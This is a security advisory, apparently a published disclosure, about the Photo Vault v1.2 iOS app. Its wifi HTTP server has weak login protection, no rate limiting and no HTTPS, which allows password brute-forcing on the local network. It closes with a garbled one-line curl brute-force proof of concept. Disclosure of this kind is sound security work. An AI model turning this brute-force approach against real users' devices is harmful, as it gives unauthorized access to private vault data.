Technical Details & Description:
An insecure configuration vulnerability has been discovered in the official iOS mobile Photo Vault v1.2 iOS web-application.

The vulnerability is located in the login mechanism and password request communication. In case of the activated wifi
in the app it is possible to remotly access (http-server) the protected vault by a password. The password request is a
simple less protected attempt to the login.html file with `_` to split between the password and file. There is no
request limitation to block automated attacks.

Attackers can perform fast enumerate the password by simply audits against the http basic authentication mechanism.
Remote attackers can use an automated dictionary attack or compromise by manual basic http bruteforce attack via curl,
nmap or http-brute. Attackers can fast gain unauthorized access the private vault over the activated wifi web-application
in the same network. A second minor problem is that there is no https protocol activated for the wifi http-server
communication in the network. Taken together, these two problems pose a significant risk to users and individuals,
based on sensitive information stored in the vault of the mobile iOS application.

The security risk of the insecure authentication configuration vulnerability is estimated as medium with a cvss count of 4.8.
Exploitation of the vulnerability requires network access to connect to the web-server via wifi without user interaction.
Successful exploitation of the vulnerability results in unauthorized access to private vault data or sensitive information.

Proof of Concept (PoC):
The security issue can be exploited by remote attackers without privileged user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below.

http_code=$(curl -L -data password="passwdords.txt" "$url http://Localhost:9900/login.html__" -w '%{http_code}' -o /root/fuzztime -s) #forensic
